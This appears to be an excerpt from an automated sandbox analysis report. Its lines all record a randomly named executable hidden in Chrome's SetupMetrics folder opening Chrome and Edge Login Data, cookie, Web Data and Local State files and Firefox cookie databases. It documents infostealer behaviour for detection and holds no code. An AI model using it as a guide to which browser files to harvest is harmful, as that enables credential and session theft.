Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
